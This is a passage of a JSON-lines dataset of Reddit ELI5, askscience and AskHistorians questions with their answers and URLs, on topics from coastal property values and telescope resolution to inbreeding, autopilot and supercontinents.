with backyards opening to a lake.", "A bar near where I grew up was about to sell for big $$$, replacing it with condos. The deal was postponed because of flooding in the area that has never happened before. 2 years later it happened again, flooding large areas in the Norther part of the town. A deal that was being pitched at them for decades was terminated and now it's worth nothing since it's been deemed a Flood Zone. \n\nHundreds of waterfront properties have lost value because of this.  \n\n\nMontreal, Quebec, Canada (Pierrefonds)  \n\n\n [_URL_1_](_URL_1_)   \n\n\n [_URL_0_](_URL_0_)", "Live in SFLA - let's be very frank  - the reason why sea level rise isn't a serious consideration for most of us is that the current level of rise is \\*far\\* \\*far\\* \\*far\\* below what humans can deal with.   The same reason the Netherlands still exists (and thrives) in large part because we've had the tools, technology and most importantly the economic willpower to deal with a 1 inch rise per decade.\n\nYou'll see lots of FUD articles but with all due respect the constant flooding in MN  &  ND (see Red River of North floods) causes far bigger problems.", "An analogous situation is properties that have a fixed term (40 year lease) that have ownership revert to the original owner after the term. \n\nThese leases sell for very close to the price of full ownership (which would be forever). These properties hold their value until just a few years before the lease runs out. The last owner is left with nothing. The second to last owner figures they can unload it in time to get their value out. Often they do.\n\nIt is a human nature thing and even in the case where it is indisputable that the property value will disappear in a few years, people deny the future until it is upon them.\n\nOceanside property likely will be underwater at some point in the future but owners figure they can can sell the property before then so they pay the full amount now.", "Much the same way cigarettes are technically higher when you account for inflation. Just because something is known to be bad whether sooner or later, its a value they still want. \n\nLikewise the belief that housing on the shore can overcome the dangers of climate change is still an idiotic belief that science can simply whimsy away the problems enough that an ocean side property owner won't ever have to worry....unless it's Florida.\n\nSome people go to Florida to buy a house in the shore cuz chances are they'll die before climate change destroys their house.", "They keep shoveling sand back toward the water, to regain what the shoreline looked like. Especially after a storm. I know the state of Florida is known for doing this. They won\u2019t give up an inch of that real estate.", "Idk. But in cali, lotsa rich folks keep buying houses in the hills and risk life and property with frequent earthquakes and inevitable evacuations due to fires.\n\nSeeing how that continues, i\u2019m not surprised that rich folks still wanna live by the beach", "A lot of the answer lies in the status quo of disaster assistance.\n\nWe built FEMA, flood insurance, and disaster assistance funding on the assumptions that 100 year events happen every 100 years.\n\nThe events are increasing but we haven't made the changes yet.\n\nLike it or not, it doesn't make sense to rebuild a house in a flood plane over.\n\nAt some point the government will realize that certain places of the country are just not practical to inhabit anymore and they will no longer be insured or assisted at the rate they are now.  At that time real estate prices will change but until it happens they don't.", "Because most people in modern countries dont care at the time scale presented. They would rather enjoy the beach property than care if it's not a good 50 year investment. I have worked in construction and you would be surprised how little people care about the long term value. If they want some trendy but awful kitchen they will drop 20k on it knowing full well that in 5 years it will look like a joke and need to be replaced. Coastal living is either business or luxury and neither of those care about long term.", "Because climate change, although serious, is not an immediate threat. It is more like diabetes than ebola. It\u2019ll get ya. But it\u2019ll take a lifetime. \n\nIn real life it will take decades for these rising sea levels to actually affect the vast vast vast majority of the developed world.\n\nThe ENTIRE Florida coast is lined with hotels and condos a few yards from the ocean. Florida is one big sandbar. The grass doesn\u2019t even feel real. When these start becoming seriously affected, real estate prices all over the world will change in a heartbeat. Give it another 50 years. \n\nBut by then technology will most likely innovate band aid solutions to that as well.", "I think it's all down to perception. The sea isn't creeping up the beach, at any perceptible rate. Most of the time, it stays down there, where it's supposed to be. Except, one day, it's over your head, and your home is gone.\n\nBut, even then, there's probably a community memory of this happening before, maybe 50 years ago. Everyone rebuilt, and had 5 fine decades of swimming, surfing and picnics on the beach.\n\nIt'll be the same again, they think - except, this time, it will be 40 years, 35 years, 30 years to the next catastrophe. At what point do you give up on the pleasures of beachfront living?", "I can add a little here, I work for government in land use and environmental issues. Insurance companies are making moves to increase premiums in coastal areas but a huge factor is government policy. In theory (in my country) if the risk is great enough government would 'red zone' and begin slow managed retreat from the coast. \n\nBut as soon as we implement a red zone the property price would free fall, which the home owners don't want. And unsurprisingly coastal home owners often happen to be wealthy and well connected. So while we are advising almost complete red zoning of the coastline nothing is done at a political level.\n\nPeople are still building on the coast because the zoning is for residential, so they assume why not, if it floods it's the governments fault for not telling me and they will pay.", "Gene Hackman AKA Lex Luthor was playing the real estate gamble by detonating nuclear war heads along the fault line which would have plummeted California into the Ocean. Superman stopped him then and Superman will save us now.", "Because most people don\u2019t take it seriously or don\u2019t want to take it seriously. Myself on the other hand who has built my little empire in S. Florida is planning ahead. First reason is because I want to leave my kids something. I won\u2019t see the land flooded but they might. They say the Florida Keys will mostly be gone in just 50-60 years. When prices crash all my work will have been for nothing.\n\nSecond reason is to beat the land rush. Once the majority of people get it, then things will happen quickly I\u2019m afraid. Also, you only mentioned shore prices going down but inland  prices will go up. I bought a. Outlet acres cheap in N. Georgia and plan to add to it. 10 years till retirement and I want all my Florida property gone by then. Pack up and leave, course, can still visit in Winter!", "Simply put, people don\u2019t price that far into the future. The beach front homes in the USA still have at least ten years of being awesome, so the prices will stay high. When it starts going downhill, prices will drop. \n\nYour argument is similar to someone saying you shouldn\u2019t buy a PS4 because a PS5 is coming. And that you should skip the PS5 too. Eventually you\u2019re just missing out entirely, or you gotta get in the game. (PS being the different generations of Playstation video game consoles.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://iopscience.iop.org/article/10.1088/1748-9326/aabb32", "https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3073842"], ["https://www.scamwatch.gov.au/types-of-scams/jobs-employment/pyramid-schemes#how-does-this-scam-work-", "https://en.wikipedia.org/wiki/Musical_chairs"], ["https://www.bloomberg.com/news/features/2017-04-19/the-nightmare-scenario-for-florida-s-coastal-homeowners"], ["https://iopscience.iop.org/article/10.1088/1748-9326/aabb32", "https://papers.ssrn.com/sol3/papers.cfm?abstract_id=3073842", "https://firststreet.org/press/rising-seas-erode-15-8-billion-in-home-value-from-maine-to-mississippi/", "https://www.washingtonpost.com/national/health-science/sea-level-rise-is-eroding-home-value-and-owners-might-not-even-know-it/2018/08/20/ff63fa8c-a0d5-11e8-93e3-24d1703d2a7a_story.html"], [], [], [], [], [], [], [], ["https://www.newsday.com/classifieds/real-estate/long-island-elevated-home-1.23440165"], [], [], [], ["https://www.bloomberg.com/news/articles/2019-03-18/climate-advocates-cheer-trump-policy-shift-on-flood-insurance", "https://www.fema.gov/media-library-data/1382115115666-0fba8b9a68fef69d546513c6da105bbe/BW12_AgentWhat_to_Know_Say_Sect205_Sept2013.pdf"], ["https://www.albartlett.org/articles/art_forgotten_fundamentals_part_4.html"], [], [], [], [], [], [], ["https://msc.fema.gov/portal/advanceSearch"], [], [], ["https://www.google.com/amp/s/www.mercurynews.com/2018/10/18/seawall/amp/"], [], [], [], [], [], [], [], [], ["https://www.theguardian.com/money/gallery/2018/jun/01/clifftop-homes-for-sale-in-pictures"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["https://en.wikipedia.org/wiki/Tulip_mania", "https://en.wikipedia.org/wiki/Tulip\\_mania"], [], [], [], [], ["http://www.abc.net.au/news/2019-10-23/the-suburbs-facing-rising-insurance-costs-from-climate-risk/11624108"], ["https://www.theguardian.com/environment/2019/may/18/this-is-a-wake-up-call-the-villagers-who-could-be-britains-first-climate-refugees"], [], [], [], [], [], [], ["https://globalnews.ca/news/5236990/climate-change-insurance-cost/", "https://www.lowestrates.ca/blog/homes/climate-change-home-insurance-going-to-cost-you", "https://www.insure.com/home-insurance/climate-change-home-insurance-rates", "https://grist.org/article/insurance-experts-rank-climate-change-as-top-risk-for-2019/"], [], [], [], [], [], [], [], ["https://www.wsj.com/graphics/coastal-home-sales-affected-by-climate-change-worries/"], [], [], [], [], [], ["https://www.cbc.ca/news/canada/edmonton/fort-mcmurray-condominium-insurance-1.5318750"], [], [], [], ["https://www.cbc.ca/news/canada/montreal/flooding-in-pierrefonds-seen-from-above-1.4103231", "https://montrealgazette.com/news/local-news/west-island-gazette/pierrefonds-watering-hole-bar-chez-paul-remains-open"], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "2l748m", "title": "Can someone explain the relationship (in size) of the aperture of a telescope and the wavelength it observes?", "selftext": "As the title suggests, I'm looking for some information that can help describe the relationship between the size of the aperture of a telescope and the wavelengths it observes. Does a smaller wavelength relate to a smaller aperture? Or do you need a larger aperture because the wavelengths are so small? Information along those lines would greatly help my understanding.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2l748m/can_someone_explain_the_relationship_in_size_of/", "answers": {"a_id": ["clsh37u"], "score": [3], "text": ["Firstly, aperture controls the amount of light the telescope can absorb/measure at one time, this is sort of obvious.\n\nSecondly, due to diffraction, the smallest object spacing you can resolve with a telescope is \n\ntheta = 1.220 lambda/D, where theta is the angular size, in radians, lambda is the wavelength of light and D is the aperture of the telescope. \n\nThis means that for larger wavelengths you want larger telescopes to get equivalent resolution. This is because of something called the Rayleigh criterion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "458aht", "title": "why are private schools in uk called 'public schools' when they're only available to the rich and are therefore exclusive and private? similarly, the 'private schools' are actually for the public.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/458aht/eli5_why_are_private_schools_in_uk_called_public/", "answers": {"a_id": ["czvwaq9", "czvwga2", "czvww3d", "czvyhl4"], "score": [26, 87, 3, 13], "text": ["The term public school comes from a time when they were open to anybody regardless of religion or where you were from, the were originally charity schools. \n\nWhat the USA calls public schools are more commonly called state schools.", "In the UK, there are 2 main categories of schools:\n\n- Local authority maintained schools (State Schools), free to all children between the ages of 5 - 16 \n\n- Independent schools. Parents pay for their children's' education.\n\nWhat you don't get are the sub-categories within \"independent schools\".\n\nPublic schools originate from Charity schools and are called public because access to them was not restricted on the basis of religion, occupation, or home location. Anyone could enter it. \n\nPrivate schools however operate for profit and are completely outside of government control. ", "For ease of understanding in the context of the book you were reading, public schools in the UK have historically been all male boarding schools (this is loosening up these days as many are becoming co-ed and accept day-boarders. The most famous example of a public school is Eton where both Prince Harry and William attended school, as well as the current Prime Minister.", "Back in the early middle ages very rich people would hire private tutors for their children. The very poor would pretty much just die of cholera in the fields. There were few people between the two classes. Eventually there started being cities and a new class showed up who were in the middle of very rich and very poor. Rich enough to want their children educated, poor enough that hiring a private tutor was beyond them. So some enterprising teachers set up \"public\" schools where these middle class families could send their children if they had the money.\n\nThese schools did pretty well and educated a bunch of guys who became successful. Eventually when governments got involved in education (we're talking like the industrial revolution now) the State started providing schools but these schools that any dirty peasant could go to had to find a different name because language works on the principle of dibs.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "5jwfj4", "title": "how come when other animals mate with their siblings, no birth defects are typically present, but when humans do, there is a high chance of birth defects?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5jwfj4/eli5_how_come_when_other_animals_mate_with_their/", "answers": {"a_id": ["dbjhk35", "dbji7et", "dbjiage", "dbjie5f", "dbjkxip", "dbjla7l", "dbjpg4r", "dbjr87p", "dbjspyq", "dbk0n9u", "dbk48o2", "dbkgxws"], "score": [32, 87, 35, 2, 3, 5, 412, 22, 3, 34, 8, 11], "text": ["a lot of the defects associated with inbreeding are not visual.  deformities aren't that common as media might lead you to believe.  \n\nyou have 23 pairs of chromosomes.  23 from your dad and 23 from your mom.  \n\nmost of the defects are carried on recessive chromosomes.  so if you paid attention in high school biology you'll know what i'm talking about.  you need to have get a recessive from your dad and a recessive from your mom for this defect to show up.  \n\nalso, women have an XX and men have an XY.  some bad stuff are on the Y chromosome which is why men are affected by it more often than women, ie color blindness.  \n\nthe problem with inbreeding is that, if both of the parents have a recessive chromosome of some bad defect (but they don't show the defect b/c the other chromosome is dominant thereby masking it out), it's very likely for the child to have the defect, and if it continues, then everyone in that family line will have that defect.  as recessive chromosomes for bad defects are not that common.  \n\nif both parents have perfect chromosome pairs meaning no way any offspring can have a defect, then by all means go ahead and inbreed away.  but no one gets genetic testing done on that level, so there's no way to guard against it besides outlawing inbreeding.  ", "The chance for birth defects in inbreeding animals is exactly the same as with humans. It's simply that they do not show as much. Many inbreeding problems are associated with less intelligence or malformity. Now in an animal you seldom will know when one is a little bit less intelligent than another. Also body deformity does not always show so well in animals. There are goats herds in south america where the offspring isn't separated thus inbreeds. There are many goats with 4 horns instead of 2. ", "There aren't that many defects if siblings breed. Over several generations things can get messy though. ", "There are also lethal mutations. It's not uncommon for an embryo to die very early development. \n\nEveryone has some embryonic lethal mutations. If you mate with a sibling, theres a high probability you have some of the same lethal mutations. If the embryo inherits the same lethal from both parents - bye bye. Don't see it. \n\nI can't agree or disagree with the claim that animals don't suffer from inbreeding to the same extent. My reasoning can't support that claim. Inbreeding is devastating to small populations. ", "Natural selection is more ruthless in the animal kingdom. Bad genes are weeded out more effectively", "Yeah if you've got defects in the animal kingdom then you're on your own... and not for very long ", "Inbreeding is just as much of a problem for animals. So much so that many species have evolved methods of avoiding it, such as males leaving the areas where they were born while their sisters stay closer to home. In endangered species, where populations may be very small, you often see signs of \"inbreeding depression\" - lowered survival and reproductive ability due to a lack of genetic diversity.\n\nInbreeding is also a huge concern for zoos, with their small captive populations. Zoos keep pedigrees for lot of species bred in captivity, so they can avoid breeding related individuals with each other.\n\nYou can see the consequences in pets if you think of purebred dogs, for example. Many dog breeds are likely to get specific medical issues, such as hip dysplasia in golden retrievers, due to many generations of inbreeding.\n", "One reason is because nature clears out those with major defects pretty quick. Though in Boulder, CO there was a group of deer near the outskirts that was interbreeding for awhile and they started getting goofy, like running into traffic, and also had defects, like one sided antlers. ", "White tigers aren't naturally occuring in nature and the only way to get the white fur is through inbreeding, so a lot of white tigers are affected with club foot, and other issues, I know that they can get downs syndrome as well, but im not sure if thats a result of being inbred.\n", "1. Animal inbreeding is also bad\n\n2. The likelihood of defects from inbreeding is lower than people think. One generation of inbreeding only slightly increases the chances. Regular inbreeding over many generations is what really causes problems\n\n3. Animals with birth defects are unlikely to survive and be observed, while most humans can be kept alive", "There really *isn't* that high a chance of birth defects when humans produce offspring with siblings.  It's several generations of repeated incest where high rates of birth defects start to pop up. \n\nAlso, animal defects would likely be either inconsequential or bring early death.  Extra finger on a kid, we'd see it.  Extra toe on a paw, so?  A deaf or blind animal isn't going to last too long in the wild.", "Humans, in general, are quite inbred due to some catastrophic event that occurred 75,000 years ago (toba eruption possibly).\n\nIf you compared the similarities between people within our own population, to similarities in other species  population, you would find we don't have near the same genetic diversity.\n\nWe know this because of mDNA, that is DNA that is only passed down to you by your mother. We can calculate the average rate of genetic mutation (in mDNA) and infer from this that every human on earth has descended from as few as 10000 humans that survived this event. \n\nThere's even a mitochondrial \"eve\" so to speak.\n\nTLDR: Humans are pretty inbred, compared to other species. Inbreeding leads to loss of genetic variation. Loss of genetic variation leads to unbenificial mutations in our DNA propogating. Which is why inbreeding in humans is not the same as in animals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "jhvbu", "title": "Do \"higher thinking mammals\" like primates and dolphins have names, like we do, for each other?", "selftext": "A few more (tangentially) related questions:\n\n1. Where does this sense of identity come from? Is it the same as sentience?\n\n2. How does the human brain almost seemingly hardwire recognizing our own names (which happens even in incredibly noisy situations)?\n\n3. Is it true that we can recognize our name much easier aurally than visually? (It seems harder to pick out one's own name in a lot of text)\n\n4. At what age do all the above begin to manifest in infants?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/jhvbu/do_higher_thinking_mammals_like_primates_and/", "answers": {"a_id": ["c2c8kt6", "c2c8o9f", "c2c9wl6", "c2cag4p", "c2cbicv", "c2c8kt6", "c2c8o9f", "c2c9wl6", "c2cag4p", "c2cbicv"], "score": [15, 34, 7, 2, 4, 15, 34, 7, 2, 4], "text": ["Yes. Many other mammals have names for each other. (or at least distinct responses to individuals they recognise)\n\nMost animals are sentient, sentience is just the ability to feel. I suspect you mean sapient, which means the ability to reason. Sapience is a bit of a tricky thing to categorise and it's too fuzzy a word to actually apply this question.\n\nWe recognise our names through practice, it isn't hard-wired because we mostly have different names.\n\nMost people recognise things better verbally. Writing is a system that has evolved to mimic the way we speak. \n\nI'm not sure when this starts to manifest in children. Infants start to recognise different individuals around six months but that is mostly because their eyes don't develop well enough until then, probably earlier. ", "Birds do:\n\n_URL_0_\n\n >  **Baby Parrots Learn Their Names From Their Parents**\n > \n >  ... each bird has its own signature call that others use when addressing it and that the bird uses itself in avian \u201cconversation.\u201d Scientists have long wondered where these calls come from. Now, a new study of wild parrots shows that even before chicks can \u201ctalk,\u201d their parents have provided them with a moniker, which they will tweak and then use throughout their lives.\n\nMore here:\n\n_URL_1_\n", "_URL_0_\n\nDolphins have names for themselves. ", " > How does the human brain almost seemingly hardwire recognizing our own names (which happens even in incredibly noisy situations)?\n\nIf you want to know more about this, research the cocktail party effect.\n_URL_0_", " > How does the human brain almost seemingly hardwire recognizing our own names (which happens even in incredibly noisy situations)?\n\n[The cocktail party effect.](_URL_0_) Let me nerd-out: the brain doesn't \"almost seemingly\" hardwire to recognize our names; it **literally actually** hard-wires to recognize our name. We learn our name\u2014a sound (which can sometime be represented by a visual shape, made of letters)\u2014through practice and experience. People make the sound when they want our attention. They make the sound when pointing to you. They make the sound when telling other people about you. So...wait... that sound... it represents you! Just like all those other sounds represent other things! That's basic language. A sound represents a physical object. \n\nAnd language is hard-wired into the human brain. [Link to further reading/a book full of evidence.](_URL_1_)\n\nOur names are important, so when the brain is stimulated by a sound that is similar to our name, it triggers an emotional/attentional change\u2014we look. Our experiences hearing our name hard-wire that into dedicated neural circuits.", "Yes. Many other mammals have names for each other. (or at least distinct responses to individuals they recognise)\n\nMost animals are sentient, sentience is just the ability to feel. I suspect you mean sapient, which means the ability to reason. Sapience is a bit of a tricky thing to categorise and it's too fuzzy a word to actually apply this question.\n\nWe recognise our names through practice, it isn't hard-wired because we mostly have different names.\n\nMost people recognise things better verbally. Writing is a system that has evolved to mimic the way we speak. \n\nI'm not sure when this starts to manifest in children. Infants start to recognise different individuals around six months but that is mostly because their eyes don't develop well enough until then, probably earlier. ", "Birds do:\n\n_URL_0_\n\n >  **Baby Parrots Learn Their Names From Their Parents**\n > \n >  ... each bird has its own signature call that others use when addressing it and that the bird uses itself in avian \u201cconversation.\u201d Scientists have long wondered where these calls come from. Now, a new study of wild parrots shows that even before chicks can \u201ctalk,\u201d their parents have provided them with a moniker, which they will tweak and then use throughout their lives.\n\nMore here:\n\n_URL_1_\n", "_URL_0_\n\nDolphins have names for themselves. ", " > How does the human brain almost seemingly hardwire recognizing our own names (which happens even in incredibly noisy situations)?\n\nIf you want to know more about this, research the cocktail party effect.\n_URL_0_", " > How does the human brain almost seemingly hardwire recognizing our own names (which happens even in incredibly noisy situations)?\n\n[The cocktail party effect.](_URL_0_) Let me nerd-out: the brain doesn't \"almost seemingly\" hardwire to recognize our names; it **literally actually** hard-wires to recognize our name. We learn our name\u2014a sound (which can sometime be represented by a visual shape, made of letters)\u2014through practice and experience. People make the sound when they want our attention. They make the sound when pointing to you. They make the sound when telling other people about you. So...wait... that sound... it represents you! Just like all those other sounds represent other things! That's basic language. A sound represents a physical object. \n\nAnd language is hard-wired into the human brain. [Link to further reading/a book full of evidence.](_URL_1_)\n\nOur names are important, so when the brain is stimulated by a sound that is similar to our name, it triggers an emotional/attentional change\u2014we look. Our experiences hearing our name hard-wire that into dedicated neural circuits."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://blogs.discovermagazine.com/80beats/2011/07/13/baby-parrots-learn-their-names-from-their-parents/", "http://www.geekosystem.com/parrot-parents-name-babies/"], ["http://www.timesonline.co.uk/tol/news/uk/article714144.ece"], ["http://en.wikipedia.org/wiki/Cocktail_party_effect"], ["http://en.wikipedia.org/wiki/Cocktail_party_effect", "http://www.amazon.com/Language-Instinct-How-Mind-Creates/dp/0060976519"], [], ["http://blogs.discovermagazine.com/80beats/2011/07/13/baby-parrots-learn-their-names-from-their-parents/", "http://www.geekosystem.com/parrot-parents-name-babies/"], ["http://www.timesonline.co.uk/tol/news/uk/article714144.ece"], ["http://en.wikipedia.org/wiki/Cocktail_party_effect"], ["http://en.wikipedia.org/wiki/Cocktail_party_effect", "http://www.amazon.com/Language-Instinct-How-Mind-Creates/dp/0060976519"]]}
{"q_id": "dqyqz0", "title": "how much flying human pilots in planes actually do and how much is autopilot? and,if autopiloting would do all the work,would that mean we wouldn't need human pilots at all?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dqyqz0/eli5how_much_flying_human_pilots_in_planes/", "answers": {"a_id": ["f6bskl6", "f6ctd3u", "f6d6ss2"], "score": [6, 9, 5], "text": ["Pilots do the taxiing, take off and landing, where most accidents happen. They can turn on autopilot once they're in the air and deactivate it before they land.\n\nAutopilots can fail. See: MCAS. If you leave autopilot alone, who'll fix problems when it fails or becomes faulty?", "If the runway is equipped with a suitable ILS (Instrument Landing System) which helps guide the plane/pilot down, it is possible for the autopilot to land the plane itself as well. It's not always used, but if it is then the autopilot would likely be in control of the plane from a few moments after take-off all the way to the moment all the wheels are on the ground. Humans are responsible for everything else, from the outside safety inspection of the plane to starting the engines, taxiing the airplane to the runway and taking off.\n\nThat said, the autopilots don't handle failures very well. If the instruments feeding information to them stop working or any of their consistency tests fail, they produce an alarm and relinquish control of the plane. For the auto-land thing above (at least on some models of airplane) BOTH autopilots need to be activated and if they start disagreeing about what to do then auto-land is aborted.\n\nWhen in doubt, the human is the last line of defence against malfunctions. Also robots can't talk to Air Traffic Control yet. :)", "Autopilot can handle 99% of flying.\n\nHowever, that 1% is the difference between landing safely and catering in a field, so we will never completely remove pilots from the cockpit."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "13bpb1", "title": "Why do you think the Romans of all people embraced their unflattering origin story? Openly acknowledging themselves as descending from a bunch of convicts, slaves, and exiled degenerates, so appalling that they needed to kidnap their women, all led by a fratricidal former feral child seems un-Roman.", "selftext": "You'd think the Romans might've made an effort to portray themselves more positively. So why did they embrace their highly unflattering origin story, seeming to make very little effort to whitewash it, despite it portraying them in a decidedly negative light? Why did they acknowledge that the first Romans were a ragtag team of criminals, escaped slaves, and exiled fringe-dwellers who couldn't even attract any women, resorting to a massive betrayal and kidnapping.\n\nIt seems awfully inglorious, and for a people so preoccupied with portraying themselves as awesome, why were they unashamed of their origin story?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/13bpb1/why_do_you_think_the_romans_of_all_people/", "answers": {"a_id": ["c72jcv3", "c72kfsp", "c72krk8"], "score": [29, 4, 19], "text": ["Did you forget the parts where the founder of Rome was the son of a goddess (Venus), and the twins were the sons of a god (Mars), and where the founder/hero overcame the gods' obstacles to found a great city?\n\n >  a ragtag team of criminals, escaped slaves, and exiled fringe-dwellers\n\nI'm not sure where you get criminals, slaves, and fringe-dwellers from. The refugees from Troy were mostly embattled heroes and warriors, not the dregs of society.\n\n >  why were they unashamed of their origin story?\n\nBecause it was *true*.\n\nI think that, far from the Romans portraying themselves unflatteringly, *you're* the one who's gone to extreme lengths to highlight (and invent?) the bad parts of their origin story. Their version was a lot more balanced, and showed a lot more triumph over adversity, and positivity, than your version.\n", "Part of the myth might serve to distinguish them as *not* Etruscan and therefore of a separate strain from the very people that ruled over them and with whom they bitterly fought. Being populated by a mishmash of criminals might be preferred over having a common heritage with one's enemy. But a consideration of the source is also important; I believe the description you supply is based off of Livy. Livy certainly benefited from imperial patronage and with a little imagination it isn't impossible to find a narrative in his work that's convenient to the regime's political message.", "First: I think your overgeneralization that the Romans weren't ashamed of their origins story is a bit off; many Roman authors looked to the Romulus and Remus/Rape of the Sabine myth as a particularly apt reflection of Roman society and its ills in many ways. Second: I worry that you're projecting modern views about how an origins myth ought to be sanitized, glorious, and ennobling. Most Greco-Roman myths are not the best places to look for a good moral or uplifting message--foundation myths or otherwise.\n\nPerhaps the more interesting question here is why we think myths should have a 'positive' message (whatever that means) and why the Romans were ok with the moral ambiguities inherent in their origins stories in a way that we are not. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9gfbul", "title": "Whatever happened to that hidden chamber found in the Great Pyramid last year?", "selftext": "_URL_0_\n\nSo there was a huge story of a potential hidden chamber of the great pyramid last year. But haven't heard anything new on that? Has it been quietly debunked? Is an exploration imminent? I haven't heard a thing.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9gfbul/whatever_happened_to_that_hidden_chamber_found_in/", "answers": {"a_id": ["e64d54m"], "score": [200], "text": ["This is not really a question of history, but of current science.\n\n\"Is an exploration imminent?\"\n\nThe article itself states that exploration is not going to happen.\n\n > And to those fantasizing about personally exploring the void, a word of caution. No known corridors connect to the space, and researchers and outside experts alike stress that there are no future plans to drill into the void. Instead, they say that in the near-term, they will do whatever they can to peer into the space non-invasively.\n\n >  \u201cThere\u2019s lots of heavy, thick rock, and by drilling something, you don\u2019t know how you will affect the entire thing,\u201d says Ikram. \u201cIf there\u2019s something behind the Mona Lisa, would you want to wipe her clean and see what\u2019s behind her? You really have to preserve the integrity of the monument.\u201d\n\nAnother [article](_URL_0_) mentions that the ScanPyramids project actually found two voids. The other, smaller void is close to the perimeter wall of the pyramid, and may be possible to explore with very small robots.\n\nThe larger void will have to be \"explored\" by continued muon scanning. The longer they do it for, the clearer the picture becomes.\n\n\"Has it been quietly debunked?\"\n\nNo, this is not fringe science. The Nagoya University in Japan, the High Energy Accelerator Research Organization in Japan, and the Alternative Energies and Atomic Energy Commission in France all sent teams to verify the results, using nuclear emulsion plates, a scintillator hodoscope and muon telescopes, respectively.\n\nWe will have to wait until the ScanPyramids team releases a new paper with their findings. Until then it's all guesswork."]}, "title_urls": [], "selftext_urls": ["https://news.nationalgeographic.com/2017/11/great-pyramid-giza-void-discovered-khufu-archaeology-science/"], "answers_urls": [["https://www.livescience.com/61435-great-pyramid-mysterious-voids.html"]]}
{"q_id": "3dw54t", "title": "how does sonar testing harm the deep-sea wildlife?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3dw54t/eli5_how_does_sonar_testing_harm_the_deepsea/", "answers": {"a_id": ["ct96utv"], "score": [2], "text": ["Many deep sea creatures \"see\" by emitting sound waves and listening for the reflections. Sonar does the same thing, and powerful sonar does this very loudly (well, active sonar at least). These loud sonic emissions can harm the sensitive listening membranes of some animals, similar (in some ways) to blowing out a speaker by playing too loud music."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5h9zij", "title": "if all the land on earth started as one mass (pangea) and is slowly moving further away, won't there be a point where it all comes back together again?", "selftext": "Not sure if it is directly related to physics, but geography isn't a flair.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5h9zij/eli5if_all_the_land_on_earth_started_as_one_mass/", "answers": {"a_id": ["dayjwtb", "dayjxvl", "dayjzpk", "dayk0zz"], "score": [2, 12, 7, 3], "text": ["All the land on Earth didn't start out as Pangaea. It was assembled from earlier continental units around 300 million years ago; Earth is about 4.5 billion years old so that is only a small portion of Earth's history.\n\nIt is possible that sometime in the future the continents will come back together into one large mass.", "It could.\n\nRodinia was a supercontinent that broke up and then came back together eventually as Pangaea.\n\nIt is hard to predict continental movement with precision though. \n\n_URL_0_\n\nPangaea Ultima is a possible future supercontinent.", "Yes, but your post seems to indicate that it started as Pangea. It did not. Pangea was what is known as a Supercontinent. This has happened several times before including:\n\n_URL_2_\n\n_URL_5_\n\n_URL_4_\n\nAs well as others before that, though they get less and less well known regarding their positioning and detail.\n\nThe land masses of our continents move apart and come together again in cycles.\n\nThere are several proposed theories about how the next future supercontinent will look.\n\n_URL_0_\n\n_URL_1_\n\n_URL_3_", "Well it's not quite that simple; we think that the land on Earth is constantly cycling between assembling into large supercontinents and breaking up into multiple smaller continents. It's all pretty speculative science, though.\n\nSo Pangaea wasn't the start, it was just the most recent one-mass supercontinent. And its pieces aren't always moving further away: North and South America came together, and India smashed into Asia.\n\nBut yes, we predict everything could merge into another supercontinent in the distant future, sometimes called [Pangaea Ultima.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.m.wikipedia.org/wiki/Pangaea_Ultima"], ["https://en.wikipedia.org/wiki/Pangaea_Ultima", "https://en.wikipedia.org/wiki/Amasia_(continent)", "https://en.wikipedia.org/wiki/Pannotia", "https://en.wikipedia.org/wiki/Novopangaea", "https://en.wikipedia.org/wiki/Columbia_(supercontinent)", "https://en.wikipedia.org/wiki/Rodinia"], ["https://en.wikipedia.org/wiki/Pangaea_Ultima"]]}
{"q_id": "34n37h", "title": "why is it a called a \"shit-eating\" grin???", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/34n37h/eli5_why_is_it_a_called_a_shiteating_grin/", "answers": {"a_id": ["cqw934l", "cqw9mhz"], "score": [2, 4], "text": ["So since this submission was removed anyway I will break a rule as well and speculate.  I would believe it was coined for people who are full of shit.  So when you had that grin they may have said your are full of shit or you have a look like you are full of shit or a shit eating grin?  Idk no rules anything goes.", "Maybe it's a very gleeful grin so whenever someone has one of those, people feel inclined to say \"eat shit\". \n\nSo a shit-eating grin"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
